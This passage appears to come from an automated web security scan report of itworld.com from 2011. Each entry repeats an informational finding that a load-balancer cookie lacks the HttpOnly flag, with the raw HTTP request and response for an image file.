X-Varnish: 1959719269
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

......JFIF.............;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90
...C......................
.....
...
.................................C....... .. .................................
...[SNIP]...

7.162. http://www.itworld.com/sites/default/files/imagecache/thumb_120x90/steven-sinofsky3-600x450_0.jpg previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/default/files/imagecache/thumb_120x90/steven-sinofsky3-600x450_0.jpg

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/default/files/imagecache/thumb_120x90/steven-sinofsky3-600x450_0.jpg HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Fri, 16 Sep 2011 14:01:55 GMT
ETag: "1bf498-114e-4ad0f6f951ac0"
Content-Type: image/jpeg
Content-Length: 4430
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:16:48 GMT
X-Varnish: 1959716173
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

......JFIF.............;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90
...C......................
.....
...
.................................C....... .. .................................
...[SNIP]...

7.163. http://www.itworld.com/sites/default/files/imagecache/thumb_120x90/thunderbolt-icon-150x113.jpg previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/default/files/imagecache/thumb_120x90/thunderbolt-icon-150x113.jpg

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/default/files/imagecache/thumb_120x90/thunderbolt-icon-150x113.jpg HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Mon, 19 Sep 2011 18:00:22 GMT
ETag: "1bf5a0-d69-4ad4f1ddeb980"
Content-Type: image/jpeg
Content-Length: 3433
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:16:48 GMT
X-Varnish: 1959716181
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

......JFIF.............;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90
...C......................
.....
...
.................................C....... .. .................................
...[SNIP]...

7.164. http://www.itworld.com/sites/default/files/imagecache/top_story_1col_image/tmp/yahoo_collaps_290x218.jpg previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/default/files/imagecache/top_story_1col_image/tmp/yahoo_collaps_290x218.jpg

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/default/files/imagecache/top_story_1col_image/tmp/yahoo_collaps_290x218.jpg HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Fri, 16 Sep 2011 20:12:05 GMT
ETag: "5fe95-2f60-4ad149b66cf40"
Content-Type: image/jpeg
Content-Length: 12128
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:18:12 GMT
X-Varnish: 1959719209
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

......JFIF.............;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90
...C......................
.....
...
.................................C....... .. .................................
...[SNIP]...

7.165. http://www.itworld.com/sites/default/files/imagecache/top_story_2col_image/tmp/disguise.jpg previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/default/files/imagecache/top_story_2col_image/tmp/disguise.jpg

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/default/files/imagecache/top_story_2col_image/tmp/disguise.jpg HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Mon, 19 Sep 2011 13:34:10 GMT
ETag: "1b732d-8179-4ad4b65dd5880"
Content-Type: image/jpeg
Content-Length: 33145
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:16:47 GMT
X-Varnish: 1959716158
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

......JFIF.............;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90
...C......................
.....
...
.................................C....... .. .................................
...[SNIP]...

7.166. http://www.itworld.com/sites/default/files/images/quote_img_btm.jpg previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/default/files/images/quote_img_btm.jpg

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/default/files/images/quote_img_btm.jpg HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Mon, 16 May 2011 14:40:57 GMT
ETag: "468b06-51e-4a365a4b21040"
Content-Type: image/jpeg
Content-Length: 1310
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:16:49 GMT
X-Varnish: 1959716198
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

......JFIF.....d.d......Ducky.......<......Adobe.d.................... ... .......

.

............................................................................................................D..
...[SNIP]...

7.167. http://www.itworld.com/sites/default/files/picture-12749.jpg previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/default/files/picture-12749.jpg

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/default/files/picture-12749.jpg HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Mon, 08 Aug 2011 15:36:41 GMT
ETag: "1af3ca-352f-4aa0036aef440"
Content-Type: image/jpeg
Content-Length: 13615
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:18:10 GMT
X-Varnish: 1959719030 1959715817
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: HIT
X-Cache-Hits: 25
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

......Exif..II*...............F...........F...........................................................................(...........1...........2...........i........... ...........
..'....
..'..Adobe Ph
...[SNIP]...

7.168. http://www.itworld.com/sites/default/files/picture-16291.jpg previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/default/files/picture-16291.jpg

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/default/files/picture-16291.jpg HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Fri, 29 Jul 2011 13:44:12 GMT
ETag: "1afaec-f64-4a93579ffa300"
Content-Type: image/jpeg
Content-Length: 3940
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:16:45 GMT
X-Varnish: 1959716107 1959715926
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: HIT
X-Cache-Hits: 3
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

......JFIF.............;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90
...C......................
.....
...
.................................C....... .. .................................
...[SNIP]...

7.169. http://www.itworld.com/sites/default/files/picture-16293.png previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/default/files/picture-16293.png

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/default/files/picture-16293.png HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20s_ppv%3D14%3B%20SC_LINKS%3Dhomepage%255E%255ECyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255Ehomepage%2520%257C%2520Cyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255E%3B%20s_sq%3Didgitworldcomprod%253D%252526pid%25253Dhomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run%252526ot%25253DA%3B; s_pers=%20s_pv%3Dhomepage%7C1316479993320%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Thu, 30 Jun 2011 15:57:26 GMT
ETag: "1af7bd-2146-4a6eff5148580"
Content-Type: image/png
Content-Length: 8518
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:22:28 GMT
X-Varnish: 252446318 252446184
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: HIT
X-Cache-Hits: 2
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

.PNG
.
...IHDR...n...n......[&... .IDATx...[.%Yu.k....9...{.{fz..x<....+.\,ca.X.LB..(../..<$.B$..'KV.b)..y.m)!rL"a.J. c;.,l...`..s..z.....j.....|}..{....../.N.:..T...}..-..b.-..b.-..b.-..b.-..b.-..
...[SNIP]...

7.170. http://www.itworld.com/sites/default/files/picture-18755.jpg previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/default/files/picture-18755.jpg

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/default/files/picture-18755.jpg HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Mon, 08 Aug 2011 23:40:31 GMT
ETag: "468dbe-5699-4aa06f90199c0"
Content-Type: image/jpeg
Content-Length: 22169
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:18:08 GMT
X-Varnish: 1959719002 1959715816
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: HIT
X-Cache-Hits: 28
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

.... 'Exif..MM.*.............................n...........v.(...........1.........~.2.......................i...............
....'..
....'.Adobe Photoshop CS5 Macintosh.2011:08:08 16:43:46. ..
...[SNIP]...

7.171. http://www.itworld.com/sites/default/files/picture-20267.jpg previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/default/files/picture-20267.jpg

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/default/files/picture-20267.jpg HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Wed, 10 Aug 2011 18:41:44 GMT
ETag: "1afc26-f3b-4aa2b08280a00"
Content-Type: image/jpeg
Content-Length: 3899
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:18:11 GMT
X-Varnish: 1959719146 1959715925
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: HIT
X-Cache-Hits: 26
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

......JFIF.............;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90
...C......................
.....
...
.................................C....... .. .................................
...[SNIP]...

7.172. http://www.itworld.com/sites/default/files/picture-2341.jpg previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/default/files/picture-2341.jpg

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/default/files/picture-2341.jpg HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Wed, 06 Apr 2011 01:10:11 GMT
ETag: "4685e2-1bb7-4a035a78402c0"
Content-Type: image/jpeg
Content-Length: 7095
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:16:48 GMT
X-Varnish: 1959716186 1959715819
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: HIT
X-Cache-Hits: 3
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

......JFIF.....d.d......Ducky.......P....?http://ns.adobe.com/xap/1.0/.<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 4.2.2-c063 53.
...[SNIP]...

7.173. http://www.itworld.com/sites/default/files/picture-3232.jpg previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/default/files/picture-3232.jpg

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/default/files/picture-3232.jpg HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Wed, 06 Apr 2011 01:10:11 GMT
ETag: "46860b-1ab1-4a035a78402c0"
Content-Type: image/jpeg
Content-Length: 6833
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:18:11 GMT
X-Varnish: 1959719143 1959715790
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: HIT
X-Cache-Hits: 25
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

......JFIF.....d.d......Ducky.......P....?http://ns.adobe.com/xap/1.0/.<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 4.2.2-c063 53.
...[SNIP]...

7.174. http://www.itworld.com/sites/default/files/picture-43.jpg previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/default/files/picture-43.jpg

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/default/files/picture-43.jpg HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Wed, 06 Apr 2011 01:10:12 GMT
ETag: "46863f-1983-4a035a7934500"
Content-Type: image/jpeg
Content-Length: 6531
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:16:47 GMT
X-Varnish: 1959716164 1959715789
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: HIT
X-Cache-Hits: 3
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

......JFIF.....d.d......Ducky.......P....?http://ns.adobe.com/xap/1.0/.<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 4.2.2-c063 53.
...[SNIP]...

7.175. http://www.itworld.com/sites/default/files/picture-45.jpg previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/default/files/picture-45.jpg

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/default/files/picture-45.jpg HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Wed, 06 Apr 2011 06:04:06 GMT
ETag: "4689b7-2695-4a039c2a4c180"
Content-Type: image/jpeg
Content-Length: 9877
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:16:49 GMT
X-Varnish: 1959716194 1959715934
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: HIT
X-Cache-Hits: 3
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

......JFIF.....d.d......Ducky.......d......Adobe.d.................................................................................................................................................F.F..
...[SNIP]...

7.176. http://www.itworld.com/sites/default/files/picture-5506.jpg previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/default/files/picture-5506.jpg

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/default/files/picture-5506.jpg HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Wed, 06 Apr 2011 01:10:12 GMT
ETag: "468689-1a01-4a035a7934500"
Content-Type: image/jpeg
Content-Length: 6657
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:16:49 GMT
X-Varnish: 1959716190 1959715799
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: HIT
X-Cache-Hits: 3
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

......JFIF.....d.d......Ducky.......P....?http://ns.adobe.com/xap/1.0/.<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 4.2.2-c063 53.
...[SNIP]...

7.177. http://www.itworld.com/sites/default/files/picture-5772.jpg previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/default/files/picture-5772.jpg

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/default/files/picture-5772.jpg HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Wed, 06 Apr 2011 01:10:12 GMT
ETag: "46869c-7cc-4a035a7934500"
Content-Type: image/jpeg
Content-Length: 1996
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:16:45 GMT
X-Varnish: 1959716108 1959715801
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: HIT
X-Cache-Hits: 3
